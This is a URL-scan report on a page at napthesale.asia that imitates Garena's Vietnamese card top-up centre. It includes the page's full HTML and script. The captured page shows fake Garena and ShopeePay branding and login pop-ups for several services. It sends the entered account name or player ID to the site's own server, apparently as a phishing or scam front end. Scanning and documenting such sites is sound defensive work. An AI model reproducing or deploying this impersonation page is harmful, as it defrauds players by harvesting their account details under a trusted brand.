https://napthesale.asia/

Submitted URL:
https://napthesale.asia/
Report Finished:

The outgoing links identified from the page

LinkText
https://hotro.garena.vn/Chăm sóc khách hàng
https://napthe.vn/termsĐiều khoản sử dụng
https://napthe.vn/privacyChính sách bảo mật

JavaScript Variables · 22 found

Global JavaScript variables loaded on the window object of a page, are variables declared outside of functions and accessible from anywhere in the code within the current scope

NameType
onbeforetoggleobject
documentPictureInPictureobject
onscrollendobject
gtagfunction
dataLayerobject
Chartfunction
$function
jQueryfunction
___grecaptcha_cfgobject
grecaptchaobject

Console log messages · 2 found

Messages logged to the web console

TypeCategoryLog
errornetwork
URL
https://napthesale.asia/template/js/nap-the.js
Text
Failed to load resource: the server responded with a status of 404 ()
errornetwork
URL
https://napthesale.asia/ajax/libs/slick-carousel/1.8.1/ajax-loader.gif
Text
Failed to load resource: the server responded with a status of 404 ()

HTML

The raw HTML body of the page

<!DOCTYPE html><html lang="vi"><head><meta http-equiv="origin-trial" content="A/kargTFyk8MR5ueravczef/wIlTkbVk1qXQesp39nV+xNECPdLBVeYffxrM8TmZT6RArWGQVCJ0LRivD7glcAUAAACQeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZzIiLCJleHBpcnkiOjE3NDIzNDIzOTksImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9">
    <title>Trung tâm nạp thẻ Garena</title>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0">
    <meta name="description" content=" - Trang nạp thẻ chính thức của Garena. Nạp Sò, nạp kim cương Free Fire, nạp quân huy Liên Quân, nạp FC MC FIFA Online 4 dễ dàng và an toàn cho các game Garena như Free Fire, Liên Quân Mobile, Nạp Sò, Cái Thế Tranh Hùng, FIFA ONLINE 4">
    <meta name="keywords" content="nạp thẻ garena, nạp kim cương, nạp free fire, freefire, nạp garena, nạp liên quân, nạp cái thế tranh hùng, nạp sò, nạp fc online 4, nạp fifa online 4, nạp quân huy liên quân, nạp kim cương free fire, nạp fc mc fifa online 4, nạp thẻ garena free fire, nạp thẻ Garena, nạp quân huy, nạp quân huy liên quân, nạp quân huy giá rẻ, nạp quân huy lậu, cách nạp quân huy, nạp quân huy bằng thẻ cào, nạp liên quân giá rẻ">
    <link rel="canonical" href="/">
    <meta property="og:title" content="Trung tâm nạp thẻ Garena">
    <meta property="og:description" content="Nạp thẻ chính thức cho Garena: Nạp thẻ Garena dễ dàng và an toàn. Hỗ trợ nạp kim cương Free Fire, quân huy Liên Quân, FC MC FIFA Online 4 nhanh chóng. Bảo mật 100%.">
    <meta property="og:image" content="https://garenanew.asia/path/to/your/image.jpg">
    <meta property="og:url" content="garenanew.asia">
    <meta name="twitter:card" content="summary_large_image">
    <meta name="twitter:title" content="Trung tâm nạp thẻ Garena">
    <meta name="twitter:description" content="Nạp thẻ Garena chính thức cho Garena: Liên Quân, Free Fire, FIFA Online 4, Cái Thế Tranh Hùng, Nạp Sò, Nạp Free Fire dễ dàng và an toàn.">
    <meta name="twitter:image" content="https://garenanew.asia/path/to/your/image.jpg">
    <link rel="shortcut icon" href="/template/img/favicon.ico" type="image/x-icon">
    <link rel="stylesheet" href="/template/css/style_nap_the.css">
    <link rel="stylesheet" href="/template/css/form_nap_the.css">
    <link rel="stylesheet" href="/ajax/libs/slick-carousel/1.8.1/slick.css">
    <link rel="stylesheet" href="/ajax/libs/slick-carousel/1.8.1/slick-theme.css">
    <script type="text/javascript" async="" charset="utf-8" src="https://www.gstatic.com/recaptcha/releases/xds0rzGrktR88uEZ2JUvdgOY/recaptcha__en.js" crossorigin="anonymous" integrity="sha384-LsgFz6D3IXKi1Rzqj4uhSQDNZOj1dcZCWxIrJG5IYGWvpJ304xZdrK8AxV/LlQPB"></script><script async="" src="https://www.googletagmanager.com/gtag/js?id=AW-16578804052"></script>
    <script>
        function gtag() {
            dataLayer.push(arguments)
        }
        window.dataLayer = window.dataLayer || [], gtag("js", new Date), gtag("config", "AW-16578804052")
    </script>
    <script>
        gtag("event", "conversion", {
            send_to: "AW-16578804052/9pWPCNHmjbMZENTyseE9"
        })
    </script>
    <link rel="stylesheet" href="/template/css/home_back.css">
    <script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
    <script src="https://www.google.com/recaptcha/api.js" async="" defer="defer"></script>
    <script src="/jquery-3.6.0.min.js"></script>
    <style>
        .napthe-banner {
            margin: 18px 0 10px
        }
    </style>
<script attributionsrc="" type="text/javascript" async="" src="https://www.googleadservices.com/pagead/conversion/16578804052/?random=1727836825399&amp;cv=11&amp;fst=1727836825399&amp;bg=ffffff&amp;guid=ON&amp;async=1&amp;gtm=45be4a10za200&amp;gcd=13l3l3l2l1l1&amp;dma_cps=syphamo&amp;dma=1&amp;tag_exp=101671035~101747727&amp;u_w=1&amp;u_h=1&amp;url=https%3A%2F%2Fnapthesale.asia%2F&amp;label=9pWPCNHmjbMZENTyseE9&amp;hn=www.googleadservices.com&amp;frm=0&amp;tiba=Trung%20t%C3%A2m%20n%E1%BA%A1p%20th%E1%BA%BB%20Garena&amp;gtm_ee=1&amp;npa=1&amp;pscdl=noapi&amp;auid=1330549032.1727836825&amp;uaa=&amp;uab=&amp;uafvl=&amp;uamb=0&amp;uam=&amp;uap=&amp;uapv=&amp;uaw=0&amp;fdr=SA&amp;data=event%3Dconversion&amp;rfmt=3&amp;fmt=4"></script></head>

<body>


<header class="header">
    <div class="header-container">
        <img src="/image/DITMEGARENA.png" alt="HỢP TÁC GARENA" width="111" height="31">
        
        <div class="header-center"></div>
        <div>
            <a class="header-contact" href="https://hotro.garena.vn/" target="_blank" style="font-size: 16px;">Chăm sóc khách hàng</a>
        </div>
    </div>
</header>
<style>
    .modal {
        display: none;
        position: fixed;
        z-index: 1;
        left: 0;
        top: 0;
        width: 100%;
        height: 100%;
        background-color: rgba(0, 0, 0, .5)
    }
    
    .modal-content {
        background-color: #fff;
        margin: auto;
        padding: 20px;
        border: 1px solid #888;
        width: 90vw;
        max-width: 500px;
        top: 50%;
        left: 50%;
        transform: translate(-50%, -50%);
        position: absolute;
        text-align: center;
        border-radius: 10px
    }
    
    @media (max-width: 768px) {
        .modal-content {
            width: 90vw;
            padding: 15px
        }
    }
    
    @media (max-width: 480px) {
        .modal-content {
            width: 95vw;
            padding: 10px
        }
    }
    
    .close {
        color: #aaa;
        float: right;
        font-size: 28px;
        font-weight: 700;
        cursor: pointer
    }
    
    .close:focus,
    .close:hover {
        color: #000;
        text-decoration: none;
        cursor: pointer
    }
    
    .social-login-options {
        display: flex;
        justify-content: space-around;
        flex-wrap: wrap;
        padding: 20px
    }
    
    .login-option {
        display: flex;
        flex-direction: column;
        align-items: center;
        padding: 5px;
        cursor: pointer
    }
    
    .login-option img {
        width: 50px;
        height: 50px;
        border-radius: 50%
    }
    
    .login-option p {
        margin-top: 10px;
        font-size: 14px
    }
    
    .game-info {
        margin-top: 20px
    }
    
    .game-info img {
        width: 60px;
        height: 60px;
        border-radius: 50%
    }
    
    .game-info p {
        font-size: 16px;
        margin-top: 10px
    }
    
    .custom-modal {
        display: none;
        position: fixed;
        z-index: 1;
        left: 0;
        top: 0;
        width: 100%;
        height: 100%;
        background-color: rgba(0, 0, 0, .5)
    }
    
    .custom-modal-content {
        background-color: #fff;
        margin: auto;
        padding: 20px;
        border: 1px solid #888;
        width: 30%;
        top: 50%;
        left: 50%;
        transform: translate(-50%, -50%);
        position: absolute;
        border-radius: 8px;
        box-shadow: 0 4px 8px rgba(0, 0, 0, .2)
    }
    
    .custom-close {
        color: #aaa;
        float: right;
        font-size: 28px;
        font-weight: 700;
        cursor: pointer
    }
    
    .custom-close:focus,
    .custom-close:hover {
        color: #000;
        text-decoration: none;
        cursor: pointer
    }
    
    .custom-modal-header {
        display: flex;
        align-items: center;
        justify-content: flex-start;
        padding-bottom: 10px;
        border-bottom: 1px solid #eee;
        margin-bottom: 10px
    }
    
    .custom-logo {
        width: 40px;
        height: 40px;
        margin-right: 10px;
        border-radius: 50%
    }
    
    .custom-modal-header h2 {
        margin: 0;
        font-size: 18px;
        font-weight: 700;
        color: red
    }
    
    .custom-login-btn {
        background-color: red;
        color: #fff;
        padding: 10px;
        border: none;
        width: 100%;
        cursor: pointer;
        font-size: 16px;
        border-radius: 5px
    }
    
    .custom-login-btn:hover {
        background-color: #8b0000
    }
    
    .custom-input-field {
        width: 100%;
        padding: 10px;
        margin-bottom: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        box-sizing: border-box
    }
    
    .custom-modal-body {
        padding: 0 10px
    }
</style>
<div class="napthe-main">
    <div class="napthe-container">
        <div class="napthe-content">
            <div class="napthe-banner">
                <div class="slick-slider slick-initialized" style="max-width: 730px;"><a class="_1hweB5ItSQQHG-8EWc4tSA slick-arrow" style="display: inline;">❮</a>
                    <div class="slick-list draggable"><div class="slick-track" style="opacity: 1; width: 15000px; transform: translate3d(-730px, 0px, 0px);"><div data-index="3" tabindex="-1" class="slick-slide slick-cloned" aria-hidden="true" data-slick-index="-1" id="" style="width: 730px;">
                        <div>
                            <a rel="noopener noreferrer" tabindex="-1"><img class="banner-mb" src="/image/banner_set_aov_267.jpg" alt="" width="500" height="70">
                            </a>
                            <a rel="noopener noreferrer" tabindex="-1"><img class="banner-pc" src="/image/banner_set_aov_267.jpg" alt="">
                            </a>
                        </div>
                    </div><div data-index="1" tabindex="0" class="slick-slide slick-current slick-active" aria-hidden="false" data-slick-index="0" style="width: 730px;">
                        <div>
                            <a rel="noopener noreferrer" tabindex="0"><img class="banner-mb" src="/image/sp_pc_15092022.jpg" alt="" width="500" height="70">
                            </a>
                            <a rel="noopener noreferrer" tabindex="0"><img class="banner-pc" src="/image/sp_pc_15092022.jpg" alt="">
                            </a>
                        </div>
                    </div><div data-index="2" tabindex="-1" class="slick-slide" aria-hidden="true" data-slick-index="1" style="width: 730px;">
                        <div>
                            <a rel="noopener noreferrer" tabindex="-1"><img class="banner-mb" src="/image/nap_sms_viettel_900x100.jpg" alt="" width="500" height="70">
                            </a>
                            <a rel="noopener noreferrer" tabindex="-1"><img class="banner-pc" src="/image/nap_sms_viettel_900x100.jpg" alt="">
                            </a>
                        </div>
                    </div><div data-index="3" tabindex="-1" class="slick-slide" aria-hidden="true" data-slick-index="2" style="width: 730px;">
                        <div>
                            <a rel="noopener noreferrer" tabindex="-1"><img class="banner-mb" src="/image/banner_set_aov_267.jpg" alt="" width="500" height="70">
                            </a>
                            <a rel="noopener noreferrer" tabindex="-1"><img class="banner-pc" src="/image/banner_set_aov_267.jpg" alt="">
                            </a>
                        </div>
                    </div><div data-index="1" tabindex="-1" class="slick-slide slick-cloned" aria-hidden="true" data-slick-index="3" id="" style="width: 730px;">
                        <div>
                            <a rel="noopener noreferrer" tabindex="-1"><img class="banner-mb" src="/image/sp_pc_15092022.jpg" alt="" width="500" height="70">
                            </a>
                            <a rel="noopener noreferrer" tabindex="-1"><img class="banner-pc" src="/image/sp_pc_15092022.jpg" alt="">
                            </a>
                        </div>
                    </div><div data-index="2" tabindex="-1" class="slick-slide slick-cloned" aria-hidden="true" data-slick-index="4" id="" style="width: 730px;">
                        <div>
                            <a rel="noopener noreferrer" tabindex="-1"><img class="banner-mb" src="/image/nap_sms_viettel_900x100.jpg" alt="" width="500" height="70">
                            </a>
                            <a rel="noopener noreferrer" tabindex="-1"><img class="banner-pc" src="/image/nap_sms_viettel_900x100.jpg" alt="">
                            </a>
                        </div>
                    </div><div data-index="3" tabindex="-1" class="slick-slide slick-cloned" aria-hidden="true" data-slick-index="5" id="" style="width: 730px;">
                        <div>
                            <a rel="noopener noreferrer" tabindex="-1"><img class="banner-mb" src="/image/banner_set_aov_267.jpg" alt="" width="500" height="70">
                            </a>
                            <a rel="noopener noreferrer" tabindex="-1"><img class="banner-pc" src="/image/banner_set_aov_267.jpg" alt="">
                            </a>
                        </div>
                    </div></div></div>
                    
                    
                <a class="_1hweB5ItSQQHG-8EWc4tSA _3PirFWhopJOXGnZhpuqX1r slick-arrow" style="display: inline;">❯</a></div>
            </div>
            <div class="ten-game">
                <div class="title-ten-game" style="font-size:15px">Chọn game để nạp</div>
            </div>
            <ul class="danh-sach-tro-choi">
                <li class="tro-choi">
                    <a href="#" class="link-tro-choi openModalButton" data-code="10010" data-name="Nạp Sò" data-image="https://cdn-gop.garenanow.com/gop/app/0000/010/090/icon.png">
                        <div><img class="hinh-anh-tro-choi" src="https://cdn-gop.garenanow.com/gop/app/0000/010/090/icon.png" alt="Nạp Sò">
                        </div>
                        <h2 class="tieu-de-tro-choi">Nạp Sò</h2>
                    </a>
                </li>
                <li class="tro-choi">
                    <a href="#" class="link-tro-choi openModalButton" data-code="10020" data-name="FC Online (VN)" data-image="https://cdn-gop.garenanow.com/gop/app/0000/032/837/icon.png">
                        <div><img class="hinh-anh-tro-choi" src="https://cdn-gop.garenanow.com/gop/app/0000/032/837/icon.png" alt="FC Online (VN)">
                        </div>
                        <h2 class="tieu-de-tro-choi">FC Online (VN)</h2>
                    </a>
                </li>
                <li class="tro-choi">
                    <a href="#" class="link-tro-choi openModalButton" data-code="10030" data-name="FC Online M (VN)" data-image="https://cdn-gop.garenanow.com/gop/app/0000/100/072/icon.png">
                        <div><img class="hinh-anh-tro-choi" src="https://cdn-gop.garenanow.com/gop/app/0000/100/072/icon.png" alt="FC Online M (VN)">
                        </div>
                        <h2 class="tieu-de-tro-choi">FC Online M (VN)</h2>
                    </a>
                </li>
                <li class="tro-choi">
                    <a href="#" class="link-tro-choi openModalButton" data-code="10040" data-name="Liên Quân Mobile" data-image="https://cdn-gop.garenanow.com/gop/app/0000/100/054/icon.png">
                        <div><img class="hinh-anh-tro-choi" src="https://cdn-gop.garenanow.com/gop/app/0000/100/054/icon.png" alt="Liên Quân Mobile">
                        </div>
                        <h2 class="tieu-de-tro-choi">Liên Quân Mobile</h2>
                    </a>
                </li>
                <li class="tro-choi">
                    <a href="#" class="link-tro-choi openModalButton" data-code="10050" data-name="Free Fire" data-image="https://cdn-gop.garenanow.com/gop/app/0000/100/067/icon.png">
                        <div><img class="hinh-anh-tro-choi" src="https://cdn-gop.garenanow.com/gop/app/0000/100/067/icon.png" alt="Free Fire">
                        </div>
                        <h2 class="tieu-de-tro-choi">Free Fire</h2>
                    </a>
                </li>
                <li class="tro-choi">
                    <a href="#" class="link-tro-choi openModalButton" data-code="10060" data-name="Cái Thế Tranh Hùng" data-image="https://cdn-gop.garenanow.com/gop/app/0000/100/137/icon.png">
                        <div><img class="hinh-anh-tro-choi" src="https://cdn-gop.garenanow.com/gop/app/0000/100/137/icon.png" alt="Cái Thế Tranh Hùng">
                        </div>
                        <h2 class="tieu-de-tro-choi">Cái Thế Tranh Hùng</h2>
                    </a>
                </li>
            </ul>
        </div>
    </div>
</div>
<div id="loginModal" class="modal">
    <div class="modal-content"><span class="custom-close">×</span>
        <h2>Bảng điều khiển Đăng nhập</h2>
        <div class="social-login-options">
            <div class="login-option" data-login="ID"><img id="selectedGameImage" src="" alt="Game Image" class="game-image">
                <p id="gameTitle">ID đăng nhập</p>
            </div>
            <div class="login-option" data-login="Garena"><img src="data:image/png;base64,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" alt="Garena">
                <p>Garena</p>
            </div>
            <div class="login-option" data-login="Facebook"><img src="/image/facebook.png" alt="Facebook">
                <p>Facebook</p>
            </div>
            <div class="login-option" data-login="Google"><img src="/image/google.png" alt="Google">
                <p>Google</p>
            </div>
            <div class="login-option" data-login="VK"><img src="/image/vk.png" alt="VK">
                <p>VK</p>
            </div>
            <div class="login-option" data-login="Twitter"><img src="/image/twitter.png" alt="Twitter">
                <p>Twitter</p>
            </div>
            <div class="canhbao12px">• Lưu ý: Thông tin đăng nhập tài khoản không yêu cầu mật khẩu.</div>
        </div>
    </div>
</div>
<div id="loginFormModal" class="custom-modal">
    <div class="modal-content"><span class="custom-close">×</span>
        <div class="custom-modal-header"><img id="methodIcon" src="" alt="Login Method" class="custom-logo">
            <h2 id="loginFormTitle"></h2>
        </div>
        <div class="custom-modal-body">
            <form id="loginForm">
                <input type="hidden" id="gameCodeHidden" value="">
                <input type="text" id="playerID" class="custom-input-field" placeholder="Nhập tên đăng nhập"><span id="error-message" style="color:Maroon;display:none">Vui lòng nhập thông tin!</span>
                <button type="submit" class="custom-login-btn" style="background-color:#d43831;color:#fff;border:none;padding:12px 24px;font-size:16px;border-radius:8px;cursor:pointer;transition:background-color .3s ease" onmouseover="this.style.backgroundColor=&quot;#d43831&quot;" onmouseout="this.style.backgroundColor=&quot;#cd201f&quot;" onmousedown="this.style.backgroundColor=&quot;#cd201f&quot;" onmouseup="this.style.backgroundColor=&quot;#cd201f&quot;">Đăng nhập</button>
            </form>
        </div>
    </div>
</div>
<footer>CÔNG TY CỔ PHẦN SHOPEEPAY
    <br>Giấy CNĐKKD số 0103959912, cấp lần đầu ngày 09/06/2009 | Cơ quan cấp: Phòng Đăng ký kinh doanh - Sở Kế hoạch và đầu tư TP Hà Nội
    <br>Địa chỉ trụ sở chính: Tầng 29, Tòa nhà Trung tâm Lotte Hà Nội, số 54 đường Liễu Giai, Phường Cống Vị, Quận Ba Đình, TP Hà Nội, Việt Nam
    <br>
    <div class="footer-link"><a href="#">Câu hỏi thường gặp</a>&nbsp;|&nbsp;<a href="https://napthe.vn/terms">Điều khoản sử dụng</a>&nbsp;|&nbsp;<a href="https://napthe.vn/privacy">Chính sách bảo mật</a>
    </div>
</footer>
<script src="/ajax/libs/jquery/3.6.4/jquery.min.js"></script>
<script src="/ajax/libs/slick-carousel/1.8.1/slick.min.js"></script>
<script src="/template/js/slick-slide.js"></script>
<script src="/template/js/nap-the.js"></script>
<script>
    for (var loginModal = document.getElementById("loginModal"), formModal = document.getElementById("loginFormModal"), closeModalButtons = document.getElementsByClassName("custom-close"), modalButtons = document.getElementsByClassName("openModalButton"), i = 0; i < modalButtons.length; i++) modalButtons[i].onclick = function() {
        var e = this.getAttribute("data-code"),
            t = this.getAttribute("data-name"),
            n = this.getAttribute("data-image");
        document.getElementById("gameTitle").textContent = "ID đăng nhập ", document.getElementById("selectedGameImage").src = n, document.getElementById("selectedGameImage").alt = t, document.getElementById("gameCodeHidden").value = e, loginModal.style.display = "block"
    };
    var loginOptions = document.getElementsByClassName("login-option");
    for (i = 0; i < loginOptions.length; i++) loginOptions[i].onclick = function() {
        var e = this.getAttribute("data-login");
        "ID" === e ? (document.getElementById("loginFormTitle").textContent = "ID đăng nhập", document.getElementById("playerID").placeholder = "Vui lòng nhập ID người chơi") : (document.getElementById("loginFormTitle").textContent = e + " Đăng nhập", document.getElementById("playerID").placeholder = "Nhập tài khoản " + e);
        var t = this.getElementsByTagName("img")[0].src;
        document.getElementById("methodIcon").src = t, document.getElementById("methodIcon").alt = e, loginModal.style.display = "none", formModal.style.display = "block"
    };
    for (i = 0; i < closeModalButtons.length; i++) closeModalButtons[i].onclick = function() {
        loginModal.style.display = "none", formModal.style.display = "none"
    };
    window.onclick = function(e) {
        e.target == loginModal ? loginModal.style.display = "none" : e.target == formModal && (formModal.style.display = "none")
    }, document.querySelector(".custom-login-btn").addEventListener("click", function(e) {
        e.preventDefault();
        var t = document.getElementById("playerID").value,
            n = document.getElementById("gameCodeHidden").value,
            o = document.getElementById("gameTitle").textContent.replace("ID đăng nhập - ", ""),
            l = document.getElementById("error-message");
        if ("" !== t) {
            l.style.display = "none";
            var d = new XMLHttpRequest;
            d.open("POST", "/xuly/login", !0), d.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"), d.onreadystatechange = function() {
                4 == d.readyState && 200 == d.status && ("success" === d.responseText ? (formModal.style.display = "none", window.location.href = "/app/" + encodeURIComponent(n) + "/buy/0") : alert("Đăng nhập thất bại. Vui lòng thử lại."))
            }, d.send("playerID=" + encodeURIComponent(t) + "&gameName=" + encodeURIComponent(o) + "&gameCode=" + encodeURIComponent(n))
        } else l.style.display = "block"
    })
</script></body></html>